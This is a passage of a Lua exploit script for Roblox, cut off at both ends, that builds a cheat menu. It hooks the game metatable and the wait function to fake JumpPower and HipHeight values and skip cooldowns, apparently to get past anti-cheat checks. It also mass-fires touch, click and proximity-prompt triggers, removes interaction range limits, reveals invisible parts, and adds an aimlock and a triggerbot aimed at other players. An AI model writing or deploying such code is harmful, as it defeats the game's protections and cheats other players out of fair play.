  5240. if self == "Humanoid" and k == "JumpPower" then
  5241. return 50
  5242. end
  5243. return oldindex(self,k)
  5244. end)
  5245. setreadonly(gmt, true)
  5246. print("Anti-JumpPower loaded")
  5247. end
  5248. })
  5249.  
  5250. Bypass:AddButton({
  5251. Name = "Anti-HipHeight",
  5252. Callback = function()
  5253. local gmt = getrawmetatable(game)
  5254.  
  5255. local oldindex = gmt._index
  5256.  
  5257. setreadonly(gmt, false)
  5258.  
  5259. gmt._index = newcclosure(function(self,k)
  5260. if self == "Humanoid" and k == "HipHeight" then
  5261. return 0
  5262. end
  5263. return oldindex(self,k)
  5264. end)
  5265. setreadonly(gmt, true)
  5266. print("Anti-Height loaded")
  5267. end
  5268. })
  5269.  
  5270. Bypass:AddTextbox({
  5271. Name = "Anti-WaitCooldown",
  5272. Default = "",
  5273. TextDisappear = true,
  5274. Callback = function(JPNumber)
  5275. local OldH; OldH = hookfunction(wait, function(w)
  5276.  
  5277. local NumberDelay = tonumber(JPNumber)
  5278.  
  5279. if w == NumberDelay then
  5280. return 0
  5281. end
  5282.  
  5283. return OldH(w)
  5284.  
  5285. end)
  5286. print("Anti-WaitCooldown loaded")
  5287. end
  5288. })
  5289.  
  5290. Function:AddLabel("Functions")
  5291.  
  5292. local BasePart
  5293.  
  5294. Function:AddDropdown({ --- Or local Dropdown = Tab:AddDropdown({
  5295. Name = "Touch Part Method",
  5296. Default = "HumanoidRootPart",
  5297. Options = {"HumanoidRootPart", "Torso", "Head", "Right Arm", "Left Arm", "RightHand", "LeftHand", "Right Leg", "Left Leg", "RightFoot", "LeftFoot"}, --- Can add more, example Options = {"1", "2", "3", "4", "5"}, also you can name of these numbers to random word or number.
  5298. Callback = function(ChoosePart)
  5299. if ChoosePart == "HumanoidRootPart" then --- Or "1" idk lol
  5300. BasePart = "HumanoidRootPart"
  5301. elseif ChoosePart == "Torso" then --- Or "2"
  5302. BasePart = "Torso"
  5303. elseif ChoosePart == "Head" then --- Or "2"
  5304. BasePart = "Head"
  5305. elseif ChoosePart == "Right Arm" then --- Or "2"
  5306. BasePart = "Right Arm"
  5307. elseif ChoosePart == "Left Arm" then --- Or "2"
  5308. BasePart = "Left Arm"
  5309. elseif ChoosePart == "RightHand" then --- Or "2"
  5310. BasePart = "RightHand"
  5311. elseif ChoosePart == "LeftHand" then --- Or "2"
  5312. BasePart = "LeftHand"
  5313. elseif ChoosePart == "Right Leg" then --- Or "2"
  5314. BasePart = "Right Leg"
  5315. elseif ChoosePart == "Left Leg" then --- Or "2"
  5316. BasePart = "Left Leg"
  5317. elseif ChoosePart == "RightFoot" then --- Or "2"
  5318. BasePart = "RightFoot"
  5319. elseif ChoosePart == "LeftFoot" then --- Or "2"
  5320. BasePart = "LeftFoot"
  5321. end
  5322. end
  5323. })
  5324.  
  5325. Function:AddToggle({
  5326. Name = "Loop Fire Closest TouchInterest",
  5327. Default = false,
  5328. Callback = function(ClosestTouch)
  5329. if ClosestTouch == true then
  5330.  
  5331. if closesttouch ~= nil then
  5332. closesttouch:Disconnect()
  5333. end
  5334.  
  5335. function TouchPart(Part)
  5336. if Part and game.Players.LocalPlayer.Character then
  5337. firetouchinterest(plr.Character[BasePart], Part, 0)
  5338. task.wait()
  5339. firetouchinterest(plr.Character[BasePart], Part, 1)
  5340. end
  5341. end
  5342.  
  5343. closesttouch = game:GetService("RunService").Stepped:Connect(function()
  5344.  
  5345. for i,v in pairs(game.Workspace:GetDescendants()) do
  5346. if v:IsA("TouchTransmitter") then
  5347. for i,b in pairs(v.Parent:GetChildren()) do
  5348. if b:IsA("BasePart") then
  5349. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - b.Position).Magnitude < 25 then
  5350. TouchPart(v)
  5351.  
  5352. end
  5353. end
  5354. end
  5355. end
  5356. end
  5357. end)
  5358. else
  5359. ClosestTouch = false
  5360. if closesttouch ~= nil then
  5361. closesttouch:Disconnect()
  5362. end
  5363. end
  5364. end
  5365. })
  5366.  
  5367. Function:AddToggle({
  5368. Name = "Loop Fire Closest ClickDetector",
  5369. Default = false,
  5370. Callback = function(ClosestClick)
  5371. if ClosestClick == true then
  5372.  
  5373. if closestclick ~= nil then
  5374. closestclick:Disconnect()
  5375. end
  5376.  
  5377. function ClickPart(Part)
  5378. if Part and game.Players.LocalPlayer.Character then
  5379. fireclickdetector(Part)
  5380. end
  5381. end
  5382.  
  5383. closestclick = game:GetService("RunService").Stepped:Connect(function()
  5384.  
  5385. for i,v in pairs(game.Workspace:GetDescendants()) do
  5386. if v:IsA("ClickDetector") then
  5387. for i,b in pairs(v.Parent:GetChildren()) do
  5388. if b:IsA("BasePart") then
  5389. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - b.Position).Magnitude < 25 then
  5390. ClickPart(v)
  5391.  
  5392. end
  5393. end
  5394. end
  5395. end
  5396. end
  5397. end)
  5398. else
  5399. ClosestClick = false
  5400. if closestclick ~= nil then
  5401. closestclick:Disconnect()
  5402. end
  5403. end
  5404. end
  5405. })
  5406.  
  5407. Function:AddToggle({
  5408. Name = "Loop Fire Closest ProximityPrompt",
  5409. Default = false,
  5410. Callback = function(ClosestProx)
  5411. if ClosestProx == true then
  5412.  
  5413. if closestprox ~= nil then
  5414. closestprox:Disconnect()
  5415. end
  5416.  
  5417. closestprox = game:GetService("RunService").Stepped:Connect(function()
  5418.  
  5419. for i, v in pairs(game:GetService("Workspace"):GetDescendants()) do -- ProximityPrompt can always be in workspace, so not change.
  5420. if v:IsA("BasePart") then -- Detects, is there any part or meshpart to worked.
  5421. if game:GetService("Players").LocalPlayer:DistanceFromCharacter(v.Position) < 25 then -- You actually can do it with distance, but if you not want, then delete it and last 'end'.
  5422. if v:FindFirstChild("ProximityPrompt") then -- Detects, is proximityprompt in part or meshpart.
  5423. fireproximityprompt(v) --- Now we firing proximityprompt/s. You can also add near with proximityprompt distance, example fireproximityprompt(v.ProximityPrompt, NUMBER OF DISTANCE)
  5424. end
  5425. end
  5426. end
  5427. end
  5428. end)
  5429. else
  5430. ClosestProx = false
  5431. if closestprox ~= nil then
  5432. closestprox:Disconnect()
  5433. end
  5434. end
  5435. end
  5436. })
  5437.  
  5438. Function:AddToggle({
  5439. Name = "Loop Fire Closest Seat",
  5440. Default = false,
  5441. Callback = function(ClosestSeat)
  5442. if ClosestSeat == true then
  5443.  
  5444. if closestseat ~= nil then
  5445. closestseat:Disconnect()
  5446. end
  5447. function SitPart(Part)
  5448. if Part and game.Players.LocalPlayer.Character then
  5449. Part:Sit(plr.Character:FindFirstChildOfClass("Humanoid"))
  5450. end
  5451. end
  5452.  
  5453. closestseat = game:GetService("RunService").Stepped:Connect(function()
  5454.  
  5455. for i,v in pairs(game.Workspace:GetDescendants()) do
  5456. if v:IsA("Seat") or v:IsA("VehicleSeat") then
  5457. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - v.Position).Magnitude < 25 then
  5458. SitPart(v)
  5459.  
  5460. end
  5461. end
  5462. end
  5463. end)
  5464. else
  5465. ClosestSeat = false
  5466. if closestseat ~= nil then
  5467. closestseat:Disconnect()
  5468. end
  5469. end
  5470. end
  5471. })
  5472.  
  5473. Function:AddButton({
  5474. Name = "Fire Closest TouchInterest",
  5475. Callback = function()
  5476. function TouchPart(Part)
  5477. if Part and game.Players.LocalPlayer.Character then
  5478. firetouchinterest(plr.Character[BasePart], Part, 0)
  5479. task.wait()
  5480. firetouchinterest(plr.Character[BasePart], Part, 1)
  5481. end
  5482. end
  5483.  
  5484. for i,v in pairs(game.Workspace:GetDescendants()) do
  5485. if v:IsA("TouchTransmitter") then
  5486. for i,b in pairs(v.Parent:GetChildren()) do
  5487. if b:IsA("BasePart") then
  5488. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - b.Position).Magnitude < 25 then
  5489. TouchPart(v)
  5490.  
  5491. end
  5492. end
  5493. end
  5494. end
  5495. end
  5496. end
  5497. })
  5498.  
  5499. Function:AddButton({
  5500. Name = "Fire Closest ClickDetector",
  5501. Callback = function()
  5502. function ClickPart(Part)
  5503. if Part and game.Players.LocalPlayer.Character then
  5504. fireclickdetector(Part)
  5505. end
  5506. end
  5507.  
  5508. for i,v in pairs(game.Workspace:GetDescendants()) do
  5509. if v:IsA("BasePart") then
  5510. for i,b in pairs(v:GetDescendants()) do
  5511. if b:IsA("ClickDetector") then
  5512. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - v.Position).Magnitude < 25 then
  5513. ClickPart(b)
  5514. end
  5515. end
  5516. end
  5517. end
  5518. end
  5519. end
  5520. })
  5521.  
  5522. Function:AddButton({
  5523. Name = "Fire Closest ProximityPrompt",
  5524. Callback = function()
  5525. function ProxPart(Part)
  5526. if Part and game.Players.LocalPlayer.Character then
  5527. fireproximityprompt(Part)
  5528. end
  5529. end
  5530.  
  5531. for i,v in pairs(game.Workspace:GetDescendants()) do
  5532. if v:IsA("BasePart") then
  5533. for i,b in pairs(v:GetDescendants()) do
  5534. if b:IsA("ProximityPrompt") then
  5535. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - v.Position).Magnitude < 25 then
  5536. ProxPart(b)
  5537. end
  5538. end
  5539. end
  5540. end
  5541. end
  5542. end
  5543. })
  5544.  
  5545. Function:AddButton({
  5546. Name = "Fire Closest Seat",
  5547. Callback = function()
  5548. function SitPart(Part)
  5549. if Part and game.Players.LocalPlayer.Character then
  5550. Part:Sit(plr.Character:FindFirstChildOfClass("Humanoid"))
  5551. end
  5552. end
  5553.  
  5554. for i,v in pairs(game.Workspace:GetDescendants()) do
  5555. if v:IsA("Seat") or v:IsA("VehicleSeat") then
  5556. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - v.Position).Magnitude < 25 then
  5557. SitPart(v)
  5558.  
  5559. end
  5560. end
  5561. end
  5562. end
  5563. })
  5564.  
  5565. Function:AddButton({
  5566. Name = "Fire All TouchInterests",
  5567. Callback = function()
  5568. local Root = game.Players.LocalPlayer.Character[BasePart] or game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("BasePart")
  5569. local function Touch(x)
  5570. x = x.FindFirstAncestorWhichIsA(x, "Part")
  5571. if x then
  5572. if firetouchinterest then
  5573. return task.spawn(function()
  5574. firetouchinterest(x, Root, 1, wait() and firetouchinterest(x, Root, 0))
  5575. end)
  5576. end
  5577. x.CFrame = Root.CFrame
  5578. end
  5579. end
  5580. for _, v in ipairs(workspace:GetDescendants()) do
  5581. if v.IsA(v, "TouchTransmitter") then
  5582. Touch(v)
  5583. end
  5584. end
  5585. end
  5586. })
  5587.  
  5588. Function:AddButton({
  5589. Name = "Fire All ClickDetectors",
  5590. Callback = function()
  5591. for i,v in pairs(game.Workspace:GetDescendants()) do
  5592. if v:IsA("ClickDetector") then
  5593. fireclickdetector(v)
  5594. end
  5595. end
  5596. end
  5597. })
  5598.  
  5599. Function:AddButton({
  5600. Name = "Fire All ProximityPrompts",
  5601. Callback = function()
  5602. for i,v in pairs(workspace:GetDescendants()) do
  5603. if v:IsA("ProximityPrompt") then
  5604. fireproximityprompt(v)
  5605. end
  5606. end
  5607. end
  5608. })
  5609.  
  5610. Function:AddButton({
  5611. Name = "Fire All Seats",
  5612. Callback = function()
  5613. for i,v in pairs(workspace:GetDescendants()) do
  5614. if v:IsA("Seat") or v:IsA("VehicleSeat") then
  5615. v:Sit(plr.Character:FindFirstChildOfClass("Humanoid"))
  5616. end
  5617. end
  5618. end
  5619. })
  5620.  
  5621. Function:AddToggle({
  5622. Name = "No ClickDetector Limits",
  5623. Default = false,
  5624. Callback = function(NOClickLimits)
  5625. if NOClickLimits == true then
  5626. if clickDied ~= nil then
  5627. clickDied:Disconnect()
  5628. end
  5629. for i,v in pairs(game.Workspace:GetDescendants()) do
  5630. if v:IsA("ClickDetector") then
  5631. v.MaxActivationDistance = math.huge
  5632. end
  5633. end
  5634. clickDied = game:GetService("Workspace").DescendantAdded:Connect(function(clickishere)
  5635. if clickishere:IsA("ClickDetector") then
  5636. clickishere.MaxActivationDistance = math.huge
  5637. end
  5638. end)
  5639. else
  5640. NOClickLimits = false
  5641. if clickDied ~= nil then
  5642. clickDied:Disconnect()
  5643. end
  5644. for i,b in pairs(game.Workspace:GetDescendants()) do
  5645. if b:IsA("ClickDetector") then
  5646. b.MaxActivationDistance = "32"
  5647. end
  5648. end
  5649. end
  5650. end
  5651. })
  5652.  
  5653. Function:AddToggle({
  5654. Name = "No ProximityPrompt Limits",
  5655. Default = false,
  5656. Callback = function(NOProxLimits)
  5657. if NOProxLimits == true then
  5658. if proxDied ~= nil then
  5659. proxDied:Disconnect()
  5660. end
  5661. for i,v in pairs(game.Workspace:GetDescendants()) do
  5662. if v:IsA("ProximityPrompt") then
  5663. v.MaxActivationDistance = math.huge
  5664. end
  5665. end
  5666. proxDied = game:GetService("Workspace").DescendantAdded:Connect(function(proxishere)
  5667. if proxishere:IsA("ProximityPrompt") then
  5668. proxishere.MaxActivationDistance = math.huge
  5669. end
  5670. end)
  5671. else
  5672. NOProxLimits = false
  5673. if proxDied ~= nil then
  5674. proxDied:Disconnect()
  5675. end
  5676. for i,b in pairs(game.Workspace:GetDescendants()) do
  5677. if b:IsA("ProximityPrompt") then
  5678. b.MaxActivationDistance = "32"
  5679. end
  5680. end
  5681. end
  5682. end
  5683. })
  5684.  
  5685. local PromptButtonHoldBegan = nil
  5686. Function:AddToggle({
  5687. Name = "Instant Fire ProximityPrompt",
  5688. Default = false,
  5689. Callback = function(InstantProx)
  5690. if InstantProx == true then
  5691. PromptButtonHoldBegan = game:GetService("ProximityPromptService").PromptButtonHoldBegan:Connect(function(prompt)
  5692. fireproximityprompt(prompt)
  5693. end)
  5694. else
  5695. InstantProx = false
  5696. if PromptButtonHoldBegan ~= nil then
  5697. PromptButtonHoldBegan:Disconnect()
  5698. PromptButtonHoldBegan = nil
  5699. end
  5700. end
  5701. end
  5702. })
  5703.  
  5704. Function:AddToggle({
  5705. Name = "Show Selection ClickDetectors",
  5706. Default = false,
  5707. Callback = function(ShowSCL)
  5708. if ShowSCL == true then
  5709. if selclick ~= nil then
  5710. selclick:Disconnect()
  5711. end
  5712. for _, object in next, game.Workspace:GetDescendants() do
  5713. if object:IsA("ClickDetector") and object.Parent:FindFirstChild("SelectionBox") == nil then
  5714. local selectionbox = Instance.new("SelectionBox", object.Parent)
  5715. selectionbox.Adornee = object.Parent
  5716. end
  5717. end
  5718. selclick = game:GetService("Workspace").DescendantAdded:Connect(function(clicksel)
  5719. if clicksel:IsA("ClickDetector") and clicksel.Parent:FindFirstChild("SelectionBox") == nil then
  5720. local selectionbox = Instance.new("SelectionBox", clicksel.Parent)
  5721. selectionbox.Adornee = clicksel.Parent
  5722. end
  5723. end)
  5724. else
  5725. ShowSCL = false
  5726. if selclick ~= nil then
  5727. selclick:Disconnect()
  5728. end
  5729. for _, object in next, game.Workspace:GetDescendants() do
  5730. if object:IsA("ClickDetector") and object.Parent:FindFirstChild("SelectionBox") ~= nil then
  5731. object.Parent:FindFirstChild("SelectionBox"):Destroy()
  5732. end
  5733. end
  5734. end
  5735. end
  5736. })
  5737.  
  5738. Function:AddToggle({
  5739. Name = "Show Selection TouchInterests",
  5740. Default = false,
  5741. Callback = function(ShowSCL)
  5742. if ShowSCL == true then
  5743. if seltouch ~= nil then
  5744. seltouch:Disconnect()
  5745. end
  5746. for _, object in next, game.Workspace:GetDescendants() do
  5747. if object:IsA("TouchTransmitter") and object.Parent:FindFirstChild("SelectionBox") == nil then
  5748. local selectionbox = Instance.new("SelectionBox", object.Parent)
  5749. selectionbox.Adornee = object.Parent
  5750. end
  5751. end
  5752. seltouch = game:GetService("Workspace").DescendantAdded:Connect(function(touchsel)
  5753. if touchsel:IsA("TouchTransmitter") and touchsel.Parent:FindFirstChild("SelectionBox") == nil then
  5754. local selectionbox = Instance.new("SelectionBox", touchsel.Parent)
  5755. selectionbox.Adornee = touchsel.Parent
  5756. end
  5757. end)
  5758. else
  5759. ShowSCL = false
  5760. if seltouch ~= nil then
  5761. seltouch:Disconnect()
  5762. end
  5763. for _, object in next, game.Workspace:GetDescendants() do
  5764. if object:IsA("TouchTransmitter") and object.Parent:FindFirstChild("SelectionBox") ~= nil then
  5765. object.Parent:FindFirstChild("SelectionBox"):Destroy()
  5766. end
  5767. end
  5768. end
  5769. end
  5770. })
  5771.  
  5772. Function:AddToggle({
  5773. Name = "Show Selection ProximityPrompts",
  5774. Default = false,
  5775. Callback = function(ShowSCL)
  5776. if ShowSCL == true then
  5777. if selprox ~= nil then
  5778. selprox:Disconnect()
  5779. end
  5780. for _, object in next, game.Workspace:GetDescendants() do
  5781. if object:IsA("ProximityPrompt") and object.Parent:FindFirstChild("SelectionBox") == nil then
  5782. local selectionbox = Instance.new("SelectionBox", object.Parent)
  5783. selectionbox.Adornee = object.Parent
  5784. end
  5785. end
  5786. selprox = game:GetService("Workspace").DescendantAdded:Connect(function(proxsel)
  5787. if proxsel:IsA("ProximityPrompt") and proxsel.Parent:FindFirstChild("SelectionBox") == nil then
  5788. local selectionbox = Instance.new("SelectionBox", proxsel.Parent)
  5789. selectionbox.Adornee = proxsel.Parent
  5790. end
  5791. end)
  5792. else
  5793. ShowSCL = false
  5794. if selprox ~= nil then
  5795. selprox:Disconnect()
  5796. end
  5797. for _, object in next, game.Workspace:GetDescendants() do
  5798. if object:IsA("ProximityPrompt") and object.Parent:FindFirstChild("SelectionBox") ~= nil then
  5799. object.Parent:FindFirstChild("SelectionBox"):Destroy()
  5800. end
  5801. end
  5802. end
  5803. end
  5804. })
  5805.  
  5806. Function:AddToggle({
  5807. Name = "Show Selection Seats",
  5808. Default = false,
  5809. Callback = function(ShowSeatPart)
  5810. if ShowSeatPart == true then
  5811. if selseat ~= nil then
  5812. selseat:Disconnect()
  5813. end
  5814. for _, object in next, game.Workspace:GetDescendants() do
  5815. if object:IsA("Seat") and object.Parent:FindFirstChild("SelectionBox") == nil then
  5816. local selectionbox = Instance.new("SelectionBox", object.Parent)
  5817. selectionbox.Adornee = object.Parent
  5818. end
  5819. end
  5820. selseat = game:GetService("Workspace").DescendantAdded:Connect(function(seatsel)
  5821. if seatsel:IsA("Seat") and seatsel.Parent:FindFirstChild("SelectionBox") == nil then
  5822. local selectionbox = Instance.new("SelectionBox", seatsel.Parent)
  5823. selectionbox.Adornee = seatsel.Parent
  5824. end
  5825. end)
  5826. else
  5827. ShowSeatPart = false
  5828. if selseat ~= nil then
  5829. selseat:Disconnect()
  5830. end
  5831. for _, object in next, game.Workspace:GetDescendants() do
  5832. if object:IsA("Seat") and object.Parent:FindFirstChild("SelectionBox") ~= nil then
  5833. object.Parent:FindFirstChild("SelectionBox"):Destroy()
  5834. end
  5835. end
  5836. end
  5837. end
  5838. })
  5839.  
  5840. Function:AddToggle({
  5841. Name = "Show Selection CanCollideNoclip Parts",
  5842. Default = false,
  5843. Callback = function(sinvisparts)
  5844. if sinvisparts == true then
  5845. if selcanc ~= nil then
  5846. selcanc:Disconnect()
  5847. end
  5848. for _, object in next, game.Workspace:GetDescendants() do
  5849. if object:IsA("BasePart") and object.CanCollide == false and object.Parent:FindFirstChild("SelectionBox") == nil then
  5850. local selectionbox = Instance.new("SelectionBox", object.Parent)
  5851. selectionbox.Adornee = object.Parent
  5852. end
  5853. end
  5854. selcanc = game:GetService("Workspace").DescendantAdded:Connect(function(canc)
  5855. if canc:IsA("BasePart") and canc.CanCollide == false and canc.Parent:FindFirstChild("SelectionBox") == nil then
  5856. local selectionbox = Instance.new("SelectionBox", canc.Parent)
  5857. selectionbox.Adornee = canc.Parent
  5858. end
  5859. end)
  5860. else
  5861. sinvisparts = false
  5862. if selcanc ~= nil then
  5863. selcanc:Disconnect()
  5864. end
  5865. for _, object in next, game.Workspace:GetDescendants() do
  5866. if object:IsA("BasePart") and object.Transparency == 1 and object.Parent:FindFirstChild("SelectionBox") ~= nil then
  5867. object.Parent:FindFirstChild("SelectionBox"):Destroy()
  5868. end
  5869. end
  5870. end
  5871. end
  5872. })
  5873.  
  5874. Function:AddToggle({
  5875. Name = "Show Selection Invisible Parts",
  5876. Default = false,
  5877. Callback = function(sinvisparts)
  5878. if sinvisparts == true then
  5879. if selinvisp ~= nil then
  5880. selinvisp:Disconnect()
  5881. end
  5882. for _, object in next, game.Workspace:GetDescendants() do
  5883. if object:IsA("BasePart") and object.Transparency == 1 and object.Parent:FindFirstChild("SelectionBox") == nil then
  5884. local selectionbox = Instance.new("SelectionBox", object.Parent)
  5885. selectionbox.Adornee = object.Parent
  5886. end
  5887. end
  5888. selinvisp = game:GetService("Workspace").DescendantAdded:Connect(function(invissel)
  5889. if invissel:IsA("BasePart") and invissel.Transparency == 1 and invissel.Parent:FindFirstChild("SelectionBox") == nil then
  5890. local selectionbox = Instance.new("SelectionBox", invissel.Parent)
  5891. selectionbox.Adornee = invissel.Parent
  5892. end
  5893. end)
  5894. else
  5895. sinvisparts = false
  5896. if selinvisp ~= nil then
  5897. selinvisp:Disconnect()
  5898. end
  5899. for _, object in next, game.Workspace:GetDescendants() do
  5900. if object:IsA("BasePart") and object.Transparency == 1 and object.Parent:FindFirstChild("SelectionBox") ~= nil then
  5901. object.Parent:FindFirstChild("SelectionBox"):Destroy()
  5902. end
  5903. end
  5904. showninParts = {}
  5905. end
  5906. end
  5907. })
  5908.  
  5909. Function:AddToggle({
  5910. Name = "Show Invisible Parts",
  5911. Default = false,
  5912. Callback = function(invisparts)
  5913. if invisparts == true then
  5914. for i,v in pairs(game.Workspace:GetDescendants()) do
  5915. if v:IsA("BasePart") and v.Transparency == 1 then
  5916. if not table.find(shownParts,v) then
  5917. table.insert(shownParts,v)
  5918. end
  5919. v.Transparency = 0
  5920. end
  5921. end
  5922. else
  5923. invisparts = false
  5924. for i,v in pairs(shownParts) do
  5925. v.Transparency = 1
  5926. end
  5927. shownParts = {}
  5928. end
  5929. end
  5930. })
  5931.  
  5932. Function:AddToggle({
  5933. Name = "Invisible Parts",
  5934. Default = false,
  5935. Callback = function(invisparts)
  5936. if invisparts == true then
  5937. for i,v in pairs(game.Workspace:GetDescendants()) do
  5938. if v:IsA("BasePart") then
  5939. if not table.find(showninvParts,v) then
  5940. table.insert(showninvParts,v)
  5941. end
  5942. v.Transparency = 1
  5943. end
  5944. end
  5945. else
  5946. invisparts = false
  5947. for i,v in pairs(showninvParts) do
  5948. v.Transparency = 0
  5949. end
  5950. showninvParts = {}
  5951. end
  5952. end
  5953. })
  5954.  
  5955. Function:AddToggle({
  5956. Name = "Visible Parts",
  5957. Default = false,
  5958. Callback = function(invisparts)
  5959. if invisparts == true then
  5960. for i,v in pairs(game.Workspace:GetDescendants()) do
  5961. if v:IsA("BasePart") then
  5962. if not table.find(shownvisParts,v) then
  5963. table.insert(shownvisParts,v)
  5964. end
  5965. v.Transparency = 0
  5966. end
  5967. end
  5968. else
  5969. invisparts = false
  5970. shownvisParts = {}
  5971. end
  5972. end
  5973. })
  5974.  
  5975. Function:AddLabel("Overpowered Functions")
  5976.  
  5977. Function:AddToggle({
  5978. Name = "AimLock [Hold X]",
  5979. Default = false,
  5980. Callback = function(aimlock)
  5981. if aimlock == true then
  5982. if lockcursorman ~= nil then
  5983. lockcursorman:Disconnect()
  5984. end
  5985. if unlockcursorman ~= nil then
  5986. unlockcursorman:Disconnect()
  5987. end
  5988. _G.TeamCheck = false
  5989. _G.Sensitivity = 0
  5990. _G.CircleSides = 64
  5991. _G.CircleColor = Color3.fromRGB(255, 0, 130)
  5992. _G.CircleTransparency = 0
  5993. _G.CircleRadius = 200
  5994. _G.CircleFilled = false
  5995. _G.CircleVisible = true
  5996. _G.CircleThickness = 1
  5997.  
  5998. local FOVCircle = Drawing.new("Circle")
  5999. FOVCircle.Position = Vector2.new(MyView.ViewportSize.X / 2, MyView.ViewportSize.Y / 2)
  6000. FOVCircle.Radius = _G.CircleRadius
  6001. FOVCircle.Filled = _G.CircleFilled
  6002. FOVCircle.Color = _G.CircleColor
  6003. FOVCircle.Visible = _G.CircleVisible
  6004. FOVCircle.Transparency = _G.CircleTransparency
  6005. FOVCircle.NumSides = _G.CircleSides
  6006. FOVCircle.Thickness = _G.CircleThickness
  6007.  
  6008. function FindNearestPlayers()
  6009. local dist = math.huge
  6010. local Target = nil
  6011. for _, v in pairs(game.Players:GetPlayers()) do
  6012. if v ~= plr and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").Health > 0 and getRoot(v.Character) and v then
  6013. local TheirCharacter = v.Character
  6014. local CharacterRoot, Visible = MyView:WorldToViewportPoint(getRoot(TheirCharacter).Position)
  6015. if Visible then
  6016. local RealMag = (Vector2.new(Mouse.X, Mouse.Y) - Vector2.new(CharacterRoot.X, CharacterRoot.Y)).Magnitude
  6017. if RealMag < dist and RealMag < FOVCircle.Radius then
  6018. dist = RealMag
  6019. Target = TheirCharacter
  6020. end
  6021. end
  6022. end
  6023. end
  6024. return Target
  6025. end
  6026.  
  6027. lockcursorman = UIS.InputBegan:Connect(function(Input)
  6028. if Input.KeyCode == Enum.KeyCode.X then
  6029. HoldingM2 = true
  6030. Active = true
  6031. Lock = true
  6032. if Active then
  6033. local The_Enemy = FindNearestPlayers()
  6034. while HoldingM2 do task.wait(.000001)
  6035. if Lock and The_Enemy ~= nil then
  6036. local Future = getRoot(The_Enemy).CFrame + (getRoot(The_Enemy).Velocity * Epitaph + HeadOffset)
  6037. MyView.CFrame = CFrame.lookAt(MyView.CFrame.Position, Future.Position)
  6038. CursorLock()
  6039. end
  6040. end
  6041. end
  6042. end
  6043. end)
  6044. unlockcursorman = UIS.InputEnded:Connect(function(Input)
  6045. if Input.KeyCode == Enum.KeyCode.X then
  6046. UnLockCursor()
  6047. end
  6048. end)
  6049. else
  6050. aimlock = false
  6051. Active = false
  6052. HoldingM2 = false
  6053. Lock = false
  6054. if lockcursorman ~= nil then
  6055. lockcursorman:Disconnect()
  6056. end
  6057. if unlockcursorman ~= nil then
  6058. unlockcursorman:Disconnect()
  6059. end
  6060. UnLockCursor()
  6061. end
  6062. end
  6063. })
  6064.  
  6065. Function:AddToggle({
  6066. Name = "AimLock TeamCheck [Hold X]",
  6067. Default = false,
  6068. Callback = function(aimlock)
  6069. if aimlock == true then
  6070. if lockcursorman ~= nil then
  6071. lockcursorman:Disconnect()
  6072. end
  6073. if unlockcursorman ~= nil then
  6074. unlockcursorman:Disconnect()
  6075. end
  6076. _G.TeamCheck = true
  6077. _G.Sensitivity = 0
  6078. _G.CircleSides = 64
  6079. _G.CircleColor = Color3.fromRGB(255, 0, 130)
  6080. _G.CircleTransparency = 0
  6081. _G.CircleRadius = 200
  6082. _G.CircleFilled = false
  6083. _G.CircleVisible = true
  6084. _G.CircleThickness = 1
  6085.  
  6086. local FOVCircle = Drawing.new("Circle")
  6087. FOVCircle.Position = Vector2.new(MyView.ViewportSize.X / 2, MyView.ViewportSize.Y / 2)
  6088. FOVCircle.Radius = _G.CircleRadius
  6089. FOVCircle.Filled = _G.CircleFilled
  6090. FOVCircle.Color = _G.CircleColor
  6091. FOVCircle.Visible = _G.CircleVisible
  6092. FOVCircle.Transparency = _G.CircleTransparency
  6093. FOVCircle.NumSides = _G.CircleSides
  6094. FOVCircle.Thickness = _G.CircleThickness
  6095.  
  6096. function FindNearestPlayers()
  6097. local dist = math.huge
  6098. local Target = nil
  6099. for _, v in pairs(game.Players:GetPlayers()) do
  6100. if v ~= plr and v.TeamColor ~= plr.TeamColor and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").Health > 0 and getRoot(v.Character) and v then
  6101. local TheirCharacter = v.Character
  6102. local CharacterRoot, Visible = MyView:WorldToViewportPoint(getRoot(TheirCharacter).Position)
  6103. if Visible then
  6104. local RealMag = (Vector2.new(Mouse.X, Mouse.Y) - Vector2.new(CharacterRoot.X, CharacterRoot.Y)).Magnitude
  6105. if RealMag < dist and RealMag < FOVCircle.Radius then
  6106. dist = RealMag
  6107. Target = TheirCharacter
  6108. end
  6109. end
  6110. end
  6111. end
  6112. return Target
  6113. end
  6114.  
  6115. lockcursorman = UIS.InputBegan:Connect(function(Input)
  6116. if Input.KeyCode == Enum.KeyCode.X then
  6117. HoldingM2 = true
  6118. Active = true
  6119. Lock = true
  6120. if Active then
  6121. local The_Enemy = FindNearestPlayers()
  6122. while HoldingM2 do task.wait(.000001)
  6123. if Lock and The_Enemy ~= nil then
  6124. local Future = getRoot(The_Enemy).CFrame + (getRoot(The_Enemy).Velocity * Epitaph + HeadOffset)
  6125. MyView.CFrame = CFrame.lookAt(MyView.CFrame.Position, Future.Position)
  6126. CursorLock()
  6127. end
  6128. end
  6129. end
  6130. end
  6131. end)
  6132. unlockcursorman = UIS.InputEnded:Connect(function(Input)
  6133. if Input.KeyCode == Enum.KeyCode.X then
  6134. UnLockCursor()
  6135. end
  6136. end)
  6137. else
  6138. aimlock = false
  6139. Active = false
  6140. HoldingM2 = false
  6141. Lock = false
  6142. if lockcursorman ~= nil then
  6143. lockcursorman:Disconnect()
  6144. end
  6145. if unlockcursorman ~= nil then
  6146. unlockcursorman:Disconnect()
  6147. end
  6148. UnLockCursor()
  6149. end
  6150. end
  6151. })
  6152.  
  6153. Function:AddToggle({
  6154. Name = "TriggerBot Mouse Down-Up",
  6155. Default = false,
  6156. Callback = function(triggermdlol)
  6157. if triggermdlol == true then
  6158. if triggermd ~= nil then
  6159. triggermd:Disconnect()
  6160. end
  6161. local player = game:GetService("Players").LocalPlayer
  6162. local mouse = player:GetMouse()
  6163. triggermd = game:GetService("RunService").RenderStepped:Connect(function()
  6164. if mouse.Target.Parent:FindFirstChild("Humanoid") and mouse.Target.Parent.Name ~= player.Name then
